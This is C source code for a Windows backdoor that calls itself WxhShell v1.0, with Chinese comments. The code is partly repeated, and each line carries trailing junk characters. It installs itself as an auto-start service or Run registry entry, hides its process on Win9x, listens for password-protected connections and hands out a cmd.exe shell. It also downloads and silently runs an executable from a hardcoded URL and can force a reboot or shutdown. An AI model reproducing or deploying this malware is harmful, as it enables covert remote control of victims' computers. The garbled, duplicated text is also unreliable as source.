    } X3I\O,"I  
  // 关机 `h( JD$w  
  case 'd': { ]v@#3,BV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f .rz2)o  
    if(Boot(SHUTDOWN)) 1agyT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ePK^v_vBD  
    else { 4s~Y qP{K  
    closesocket(wsh); s2iR  }<  
    ExitThread(0); RyC]4 QyC  
    } (1%u`#5n-N  
    break; cUaLv1:HI  
    } DIH.c7o  
  // 获取shell tS8*l2Y`   
  case 's': { ^Qrdh0j  
    CmdShell(wsh); s%>>E!Qi_  
    closesocket(wsh); 0O+s3#"?@  
    ExitThread(0); >IC.Zt@  
    break; P49lE  
  } ^6mlE+WY  
  // 退出  $.(%7[  
  case 'x': { 6gJy<a3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K7Kd{9-2  
    CloseIt(wsh); 7w_`<b6  
    break; nZhL  
    } BbA>1#i5]  
  // 离开 %+i g7a:  
  case 'q': { hAHl+q)w?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); CtV$lXxup  
    closesocket(wsh); pMYEL  
    WSACleanup(); ;#I(ucB<  
    exit(1); C;}~C:aJ  
    break; 6 9ia #  
        } v2G_p |+O  
  } j?29_Az  
  } pvQw+jX  
;hJTJMA6/6  
  // 提示信息 ^IOf%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nV,qC .z  
} \eH~1@\S  
  } VZ'[\3J  
HvN!_}[  
  return; di>"\On-  
} YH&`+ +  
z*>"I  
// shell模块句柄 )9 5&-Hs  
int CmdShell(SOCKET sock) /+.Bc(`  
{ 4 FW~Y  
STARTUPINFO si; v*<hE>J0  
ZeroMemory(&si,sizeof(si)); "yXKu)_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d+rrb>-OU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d^mw&F)S  
PROCESS_INFORMATION ProcessInfo; GL_YT.(!  
char cmdline[]="cmd"; UX;?~X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Xa=oryDt  
  return 0; YD H!N l  
} #wK {G)J  
pYa8iQ`6U;  
// 自身启动模式 B\r2M`N5  
int StartFromService(void) t>N~PXr  
{ L3GA]TIf  
typedef struct VdjS\VYe,  
{ NQz*P.q  
  DWORD ExitStatus; ,Md8A`7x~  
  DWORD PebBaseAddress; &l"/G%W  
  DWORD AffinityMask; d00#;R  
  DWORD BasePriority; Y#S<:,/sb?  
  ULONG UniqueProcessId; xHq"1Vs=  
  ULONG InheritedFromUniqueProcessId; ~7+7{9g  
}   PROCESS_BASIC_INFORMATION; [Ul"I-K  
3}(6z"r  
PROCNTQSIP NtQueryInformationProcess; Ok2KTsVl  
< aJl i   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bc=,$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v/*}M&vo  
r*HbglB  
  HANDLE             hProcess; `qnp   
  PROCESS_BASIC_INFORMATION pbi; :+NZW9_  
0gO_dyB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @W6:JO  
  if(NULL == hInst ) return 0; TwlX'iI_;  
3 9to5 s,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G%^jgr)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,`PC^`0c}o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KBE3q)  
.a2b&}/.d  
  if (!NtQueryInformationProcess) return 0; E! d?@Xr@  
B|pO2d e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2?P H||  
  if(!hProcess) return 0; 01=nS?  
b .I_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v+Eub;m   
[As9&]Bv5  
  CloseHandle(hProcess); %"-bG'Yc  
\4Uhc3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?M!Mb-C[  
if(hProcess==NULL) return 0; YBh|\  
Y`F)UwKK  
HMODULE hMod; b S-o86u  
char procName[255]; z]_2lx2e  
unsigned long cbNeeded; U\*]cw  
ezimQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PAng(tubl  
F+o4f3N  
  CloseHandle(hProcess); ( jACLo  
m)AF9#aT2  
if(strstr(procName,"services")) return 1; // 以服务启动 Zt_~Zxn3  
_%g L  
  return 0; // 注册表启动 y0vJ@ %`  
} RW~!)^  
[|".j#ZlK  
// 主模块 )<Fq}Q86  
int StartWxhshell(LPSTR lpCmdLine) {wy{L-X  
{ '0-YFx'U0V  
  SOCKET wsl; -pmb-#`M  
BOOL val=TRUE; rn^cajO^  
  int port=0; b?{MXJ|  
  struct sockaddr_in door; X)e#=w!fi3  
n6AA%? 5  
  if(wscfg.ws_autoins) Install(); ZnKjU ]m  
"I3 #/~q  
port=atoi(lpCmdLine); k5M5bH',  
Ez8k.]qu  
if(port<=0) port=wscfg.ws_port; L4DT*(;!E  
?(Se$iTZ  
  WSADATA data; 0=0,ix7?#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BLN|QaZ  
:KmnwYm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N5[^W`Qf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1rx, qfCq  
  door.sin_family = AF_INET; * N]^(+/A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3v@h&7<E  
  door.sin_port = htons(port); !4-4i  
X=+|(A,BdY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >?Duz+W)  
closesocket(wsl); \q($8<  
return 1; 2HUw^ *3  
} O8 OAXRt/Y  
P_4E<"eK  
  if(listen(wsl,2) == INVALID_SOCKET) { }* \*<d 3  
closesocket(wsl); 7u{V1_ n1  
return 1; q<j9l'dHG  
} ;j.-6#n  
  Wxhshell(wsl); }DQTy.d;P  
  WSACleanup(); G6QD`ED  
M8V c5  
return 0; *`} !{ Mb  
c/Fgx/hr  
} MuJP.]5>`  
IyI0|&r2A  
// 以NT服务方式启动 ?&'Kw>s@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m/Erw"Z  
{ "fr{:'HX  
DWORD   status = 0; 35Fxzj $  
  DWORD   specificError = 0xfffffff; /ej[oR  
wVqp')e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -)Bvx>8fq-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hxzA1s%~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *|<T@BXn  
  serviceStatus.dwWin32ExitCode     = 0; n$`+03a  
  serviceStatus.dwServiceSpecificExitCode = 0; &<x.D]FA]  
  serviceStatus.dwCheckPoint       = 0; X;H\u6-|>6  
  serviceStatus.dwWaitHint       = 0; c7~R0nP  
re_nb)4g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HMC-^4\%[  
  if (hServiceStatusHandle==0) return; @R}3f6@67  
Ui!l3_O  
status = GetLastError(); ;DSH$'1i  
  if (status!=NO_ERROR) JO*/UC>"  
{ d!w3LwZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7*j!ZUzp  
    serviceStatus.dwCheckPoint       = 0; #CPLvg#  
    serviceStatus.dwWaitHint       = 0; qEuO@oE  
    serviceStatus.dwWin32ExitCode     = status; V*ao@;sD  
    serviceStatus.dwServiceSpecificExitCode = specificError; d&CpaOSu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3<Zp+rD  
    return; SkMFJ?J/  
  } 4uzMO<  
9@ YKx0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "!D y[J  
  serviceStatus.dwCheckPoint       = 0; L-}J=n\  
  serviceStatus.dwWaitHint       = 0; t/Y0e#9,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hVmnXT 3Z  
} f+Acs*. GQ  
b~}$Ch3ymW  
// 处理NT服务事件,比如:启动、停止 !b7"K|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v+"4YIN  
{ |dqHpogh  
switch(fdwControl) 5e$1KN`  
{ MW6z&+Z  
case SERVICE_CONTROL_STOP: |mE;HvQF  
  serviceStatus.dwWin32ExitCode = 0; "5Y6.$Cuf!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'St6a*  
  serviceStatus.dwCheckPoint   = 0; ?*yyne  
  serviceStatus.dwWaitHint     = 0; BaW4 s4u  
  { ,bXZ<RY$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'Zp{  
  } y0sce  
  return; !}z'"l4i  
case SERVICE_CONTROL_PAUSE: VO8rd>b4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n V7Vc;  
  break; 5\MC5us3  
case SERVICE_CONTROL_CONTINUE: Z.Yq)\it  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V-}}?c1 F  
  break; ;o3gR4u_L  
case SERVICE_CONTROL_INTERROGATE: a3<:F2=~\  
  break; +ZM,E8  
}; 3}<U'%sd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3y6\0|{1  
} R ,qQC<  
/j$=?Rp  
// 标准应用程序主函数 /@k#tdj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ![^pAEgx  
{ az6 &  
"vSKj/]  
// 获取操作系统版本 Fs(PVN  
OsIsNt=GetOsVer(); yl~_~<s6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e4YP$}_L  
\]V:>=ry>  
  // 从命令行安装 B= {_}f  
  if(strpbrk(lpCmdLine,"iI")) Install(); 80*hi)ux[  
*z?Uh$I4  
  // 下载执行文件 &bW,N  
if(wscfg.ws_downexe) { 9pqsr~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hc3hU   
  WinExec(wscfg.ws_filenam,SW_HIDE); D#b*M)X"  
} FAEF  
R J{$`d  
if(!OsIsNt) { LigB!M  
// 如果时win9x,隐藏进程并且设置为注册表启动 b$,Hlh,^  
HideProc(); v 49o$s4J  
StartWxhshell(lpCmdLine); TC?B_;a  
} K:a8}w>Up  
else I "AjYv4R  
  if(StartFromService()) JcR|{9ghT  
  // 以服务方式启动 dtC@cK/,D  
  StartServiceCtrlDispatcher(DispatchTable); [yXmnrxA  
else tk%f_"}  
  // 普通方式启动 a/j;1xcc<  
  StartWxhshell(lpCmdLine); =\oH= f  
\v Ajg  
return 0; [Cl0Kw.LD  
} G%erh}0~  
fY!?rZ)$  
JXK\mah  
ETdXk&AN  
=========================================== 'Rn-SD~gIr  
?bB>}:~j)  
!4vb{AH  
8wsU`40=Q  
a;HAuy`M x  
c* {6T}VZr  
" I}4 PB+yu  
+ Q-b}  
#include <stdio.h> :<qe2Z5k  
#include <string.h> IL].!9  
#include <windows.h> !DZ=`a?y  
#include <winsock2.h> Hb=#`  
#include <winsvc.h> n%&L&G  
#include <urlmon.h> f$o^Xu  
/t0L%jJZ  
#pragma comment (lib, "Ws2_32.lib") 7ftn gBv?  
#pragma comment (lib, "urlmon.lib")  )d2Z g  
"6f`hy  
#define MAX_USER   100 // 最大客户端连接数 ra$:ibLN  
#define BUF_SOCK   200 // sock buffer +Q5 O$8i  
#define KEY_BUFF   255 // 输入 buffer 9F/I",EA  
 =}`d  
#define REBOOT     0   // 重启 !#KKJ`uB"  
#define SHUTDOWN   1   // 关机 GcVQz[E  
]Y\$U<YjO  
#define DEF_PORT   5000 // 监听端口 +U o NJ   
/ FcRp,"  
#define REG_LEN     16   // 注册表键长度 3V k8'  
#define SVC_LEN     80   // NT服务名长度 0JlNUO5Nt  
L`+[mX&2B  
// 从dll定义API /Q1*Vh4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QQl.5'PP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #A/OGi  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /Y0~BQC7!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h* S"]ye5  
$Rm~ VwY#  
// wxhshell配置信息 rqamBm 5  
struct WSCFG { .zO^"mXjS  
  int ws_port;         // 监听端口 AFAg3/  
  char ws_passstr[REG_LEN]; // 口令 B7 %,D}  
  int ws_autoins;       // 安装标记, 1=yes 0=no %ih\|jR t  
  char ws_regname[REG_LEN]; // 注册表键名 X7*F~LFr j  
  char ws_svcname[REG_LEN]; // 服务名 :U?g']`Z##  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u[GZ~L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C>Ik ;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?qjdmB|w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cIU2qFn[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xs"i_se  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q0J1"*P0  
'm`O34h  
}; gT)(RS`_)  
IK -vcG  
// default Wxhshell configuration AzU:Dxr>.G  
struct WSCFG wscfg={DEF_PORT, I-#!mFl  
    "xuhuanlingzhe", O/~T+T%  
    1, i2qN 0?n  
    "Wxhshell", ?{J1&;j*  
    "Wxhshell", v `S5[{6  
            "WxhShell Service", g0,~|.  
    "Wrsky Windows CmdShell Service", JU8}TX  
    "Please Input Your Password: ", ~>:JwTy  
  1, 0)dpU1B#M  
  "http://www.wrsky.com/wxhshell.exe", }9@rhW  
  "Wxhshell.exe" zdP?HJ=F  
    }; | R,dsBd  
t #(NfzN  
// 消息定义模块 fk}Raej g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #(] D]f[@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :DH@zR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0]>bNbLB"  
char *msg_ws_ext="\n\rExit."; O@$>'Z  
char *msg_ws_end="\n\rQuit."; f} c;s  
char *msg_ws_boot="\n\rReboot..."; amsl>wc!  
char *msg_ws_poff="\n\rShutdown..."; 2tz4Ag  
char *msg_ws_down="\n\rSave to "; oIrc))j,$  
o#FctM'Z  
char *msg_ws_err="\n\rErr!"; ,88B@a  
char *msg_ws_ok="\n\rOK!"; ~D5 -G?%$"  
icG 9x  
char ExeFile[MAX_PATH]; N<#J!0w  
int nUser = 0; IsE&k2 SD  
HANDLE handles[MAX_USER]; DS8HSSD  
int OsIsNt; {A}T^q!m]  
sD3Ts;k  
SERVICE_STATUS       serviceStatus; i?_Q@uA~<:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >D=X Tgqqq  
+9HU&gQ3  
// 函数声明 S(=@2A+;  
int Install(void); l"8g9z  
int Uninstall(void); B+FTkJ0t+G  
int DownloadFile(char *sURL, SOCKET wsh); -IIrrY O  
int Boot(int flag); 5T/+pC$e=  
void HideProc(void); $bp'b<jx  
int GetOsVer(void); d^'_H>x  
int Wxhshell(SOCKET wsl); TrDTay  
void TalkWithClient(void *cs); 3@F U-k,i  
int CmdShell(SOCKET sock); DvWBvs,  
int StartFromService(void); 9Zx| L/\  
int StartWxhshell(LPSTR lpCmdLine); p&}m')  
E.#JCO|(1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K81FKV.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @kd$.7Y9  
?r;F'%N=  
// 数据结构和表定义 \1R*M  
SERVICE_TABLE_ENTRY DispatchTable[] = PR;Bxy  
{ V xN!Ki=  
{wscfg.ws_svcname, NTServiceMain}, %4VM"C4[  
{NULL, NULL} "P5,p"k:)  
}; D[T\_3 W  
+)9=bB  
// 自我安装 OfLj 4H 6Q  
int Install(void) dsEvpa$?  
{ JA >&$h  
  char svExeFile[MAX_PATH]; iLdUus!  
  HKEY key; "+Ks#  
  strcpy(svExeFile,ExeFile); lyowH{.N"3  
,*$Y[UT  
// 如果是win9x系统,修改注册表设为自启动 wKW.sZ!S1  
if(!OsIsNt) { pJ?y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z'Bvjul  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "97sH_ ,  
  RegCloseKey(key); ][f0ZMa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M7DoAS{6e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rl"yE=  
  RegCloseKey(key); _)CCD33$  
  return 0; Lxa<zy~b  
    } Mt4`~`6  
  } } BP.t$_  
} lz).=N}m  
else { 0s4]eEXH  
TIV|7nKL  
// 如果是NT以上系统,安装为系统服务 X?8bb! g%Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BQMo*I>I  
if (schSCManager!=0) 2$Z4 >!  
{ ]VVx2ERs  
  SC_HANDLE schService = CreateService wh]v{Fi'  
  ( Kt#X'!9/<  
  schSCManager, eET1f8 B=L  
  wscfg.ws_svcname, 5t-(MY  
  wscfg.ws_svcdisp, `)jAdad-s  
  SERVICE_ALL_ACCESS, K>+c2;t;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1 RyvPP  
  SERVICE_AUTO_START, 'kCr1t  
  SERVICE_ERROR_NORMAL, Mc|UD*Z  
  svExeFile, Yu%ZwTvw  
  NULL, e58tf3  
  NULL, ;>p{|^X0D  
  NULL, w3Qil[rg  
  NULL, 4!+IsT  
  NULL B?XqH_=0L  
  ); CJLfpvV  
  if (schService!=0) p-8x>dmP(  
  { LZpqv~av  
  CloseServiceHandle(schService); 5DeAH ;  
  CloseServiceHandle(schSCManager); 2K(zYv54  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "qY_O/Eg]]  
  strcat(svExeFile,wscfg.ws_svcname); {Pi]i?   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sU?%"q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fH 5/  
  RegCloseKey(key); XuW>GT/  
  return 0; X pf:I  
    } _E[)_yH'-  
  } i\k>2df  
  CloseServiceHandle(schSCManager); &FzZpH  
} .GDNd6[K7  
} G C3G=DTt  
bu r0?q  
return 1; |NWo.j>4-  
} "f`{4p0v  
arj?U=zy  
// 自我卸载 FAd4p9[Y  
int Uninstall(void) lxD~[e  
{ f>_' ]eM%  
  HKEY key; ~Wj. 4b*  
KP]{=~(  
if(!OsIsNt) { `GT{=XJfY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T|Fl$is  
  RegDeleteValue(key,wscfg.ws_regname); 0)-yLfTn  
  RegCloseKey(key); L,wEUI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  [E|%  
  RegDeleteValue(key,wscfg.ws_regname); OAZ5I)D>  
  RegCloseKey(key); qUtlh,4)  
  return 0; qm=N@@R&  
  } $4&e{fLt|v  
} 2i_k$-  
} > hmBV7nR  
else { ,O/ t6'  
mXXU{IwUe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zU,Qph ,<  
if (schSCManager!=0) h#rziZ(  
{ aaM76;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aoVfvz2Y  
  if (schService!=0) -9z!fCu3  
  { ;4ETqi9  
  if(DeleteService(schService)!=0) { m_g2Cep  
  CloseServiceHandle(schService); 8C>\!lW"  
  CloseServiceHandle(schSCManager); %ryYa  
  return 0; YE5B^sQ1  
  } 0B?t:XU,  
  CloseServiceHandle(schService); V*w~Sr%  
  } @is!VzE  
  CloseServiceHandle(schSCManager); &;]KntxB  
} %qqX-SF0C  
} 6<h ==I   
f,}9~r #  
return 1; H!yqIh  
} soXIPf  
. +  
// 从指定url下载文件 ~SN *  
int DownloadFile(char *sURL, SOCKET wsh) ~ '/Yp8 (  
{ Yy 3g7!K5E  
  HRESULT hr; QpZ CU]  
char seps[]= "/"; 2jiH&'@  
char *token; 5.3=2/  
char *file; E +!A0!1  
char myURL[MAX_PATH]; BL^\"Xh$|  
char myFILE[MAX_PATH]; +<1MY'>y  
EYD24  
strcpy(myURL,sURL); $]t3pAI[H0  
  token=strtok(myURL,seps); .ZK^kcyA  
  while(token!=NULL) iu+r=s p  
  { Z&W*@(dX  
    file=token; o3OtG#g2  
  token=strtok(NULL,seps); ?|NMJ Qsa7  
  } O~ ]3.b  
f\U(7)2  
GetCurrentDirectory(MAX_PATH,myFILE); R Q2DTQ-$  
strcat(myFILE, "\\"); a*(,ydF|L  
strcat(myFILE, file); me@xl }  
  send(wsh,myFILE,strlen(myFILE),0); ^ 9`O ^  
send(wsh,"...",3,0); x>TIQU=\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 64R~ $km  
  if(hr==S_OK) [.j&~\AG  
return 0; Xdtyer%  
else > t~2  
return 1; f~?4  
sf5F$  
} .:/[%q{k  
7Z[6_WD3  
// 系统电源模块 |\3X7)^8D  
int Boot(int flag) Sxzt|{  
{ /k O <o&  
  HANDLE hToken; yYN_]& ag  
  TOKEN_PRIVILEGES tkp; M>_ U9g  
m:x<maP# E  
  if(OsIsNt) { 5|_El/G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q)rxv7Iu\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8RaRXnJ  
    tkp.PrivilegeCount = 1; h= Mmd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #L`'<ge'g*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _y5J]Yu`j  
if(flag==REBOOT) { 8ZL9>"%l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `*-rz<G  
  return 0; wT@{=s,  
} w e}G%09L  
else { Mp,aQ0bNS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -?vII~a9y  
  return 0; nv'YtmR  
} ]gjB%R[.m  
  } y)uxj-G  
  else { ZZ2vdy38  
if(flag==REBOOT) { \9N )71n(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4D=^24f`0  
  return 0; hZwJ@ Vm#  
} 88g|(k/  
else {  4"~F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MN<uIqG  
  return 0; 7&w$@zs87  
} HA`q U  
} W'"p:Uh q  
T0v{qQ  
return 1; 7 V3r!y  
} Mem1X rBH  
RG e2N |  
// win9x进程隐藏模块 ^t}8E2mq  
void HideProc(void) lcfX(~/m^  
{ .!Q*VTW  
h[i@c`3 /2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); we&D"V  
  if ( hKernel != NULL ) ;i-<dAV8B  
  { \V%l.P4>e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iCIU'yI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5ggsOqH  
    FreeLibrary(hKernel); pE381Cw  
  } s6(bTO.  
QE4TvnhK  
return; oef]  
} T7LO}(I.&  
d^qTY?k.  
// 获取操作系统版本 K9QC$b9(  
int GetOsVer(void) Rj!9pwvT  
{ `h='FJ/!  
  OSVERSIONINFO winfo; Ci$?Hm9n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Nq"J[l*+g  
  GetVersionEx(&winfo); g). IF.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2bAH)=  
  return 1; iq<nuO  
  else v{;^>"5o  
  return 0; *('Vyd!n  
} L "5;<  
,b9!\OWDF  
// 客户端句柄模块 e'T|5I0K  
int Wxhshell(SOCKET wsl) ]PQ6 em  
{ CPci 'SO  
  SOCKET wsh; vVf%wei^#  
  struct sockaddr_in client; FJ] ?45  
  DWORD myID; /|p6NK;8L  
S!8q>d,%L  
  while(nUser<MAX_USER) dmPAPCm%y  
{ #k|f%!-Vo  
  int nSize=sizeof(client); "@UyUL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,m[#<}xXA  
  if(wsh==INVALID_SOCKET) return 1; 0aa&13!5  
NeR1}W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hxkwT  
if(handles[nUser]==0) M.``o1b  
  closesocket(wsh); [sZ ,nB/  
else ODKHI\U  
  nUser++; [ z,6K=  
  } h3j`X'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l0lvca=;  
d@ef+-  
  return 0; G]T&{3g-.  
} q.ZkQN+  
.#LvvAeh  
// 关闭 socket BHpj_LB-P  
void CloseIt(SOCKET wsh) #D^( dz*  
{ ONMR2J(  
closesocket(wsh); I[KAW"  
nUser--; (p(-E  
ExitThread(0); <])kO`+G  
} +pxtar  
LF ;gdF%@  
// 客户端请求句柄 ZM_-g4[H  
void TalkWithClient(void *cs) LCMn9I  
{ ^&\<[\  
mw*KLMo42  
  SOCKET wsh=(SOCKET)cs; Erm]uI9`  
  char pwd[SVC_LEN]; :nS p  
  char cmd[KEY_BUFF]; Id{Ix(O  
char chr[1]; Q+p9^_r  
int i,j; $d Nmq  
@+hO,WXN  
  while (nUser < MAX_USER) { Z9 zsvg  
H,;9' *84  
if(wscfg.ws_passstr) { KSO%89R'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gW^0A)5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N3ccn  
  //ZeroMemory(pwd,KEY_BUFF); L RPdA "Z  
      i=0; lh-zE5;  
  while(i<SVC_LEN) { rQ)I  
scyv]5Hm!  
  // 设置超时 -;o0) DwZ  
  fd_set FdRead; ; Z2  
  struct timeval TimeOut; +@MG$*}Oz  
  FD_ZERO(&FdRead); ?GGBDql  
  FD_SET(wsh,&FdRead); +K48c,gt?  
  TimeOut.tv_sec=8; }*VRj;ff  
  TimeOut.tv_usec=0; ad`7[fI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c.uD%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P]H4!}M  
wj\kx\+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jBJ|%K M  
  pwd=chr[0]; B1va]=([)W  
  if(chr[0]==0xd || chr[0]==0xa) { >+Y@rj2  
  pwd=0; CPJ%<+4%b  
  break; Dj{=Y`Tw  
  } ^`fqK4<  
  i++; \'+P5,  
    } 4B@Ir)^(*  
sK7b4gmK  
  // 如果是非法用户,关闭 socket PDpDkcy|QM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IhXP~C6  
} moE!~IroG  
T_oL/x_;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x*wr8$@J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /H*n(d  
_aw49ag;  
while(1) { .:iO$wjp5  
8YO` TgW  
  ZeroMemory(cmd,KEY_BUFF); +,J!xy+~,  
66HxwY3a  
      // 自动支持客户端 telnet标准   ~/;shs<9EM  
  j=0; $;j{?dvm.  
  while(j<KEY_BUFF) { Gy!bPVe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TchByN6oN<  
  cmd[j]=chr[0]; OGPrjL+  
  if(chr[0]==0xa || chr[0]==0xd) { Ns.{$'ll  
  cmd[j]=0; C0;:")6~  
  break; kjj?X|Un  
  } tF!-}{c"k  
  j++; dwVo"_Yr  
    } :CG;:( |  
F`57;)F  
  // 下载文件 DhT8Kh{  
  if(strstr(cmd,"http://")) { (ljoD[kZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F*=}}H/  
  if(DownloadFile(cmd,wsh)) A&:~dZ:%w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y {2L[5_1  
  else 0yL%Pjn6  
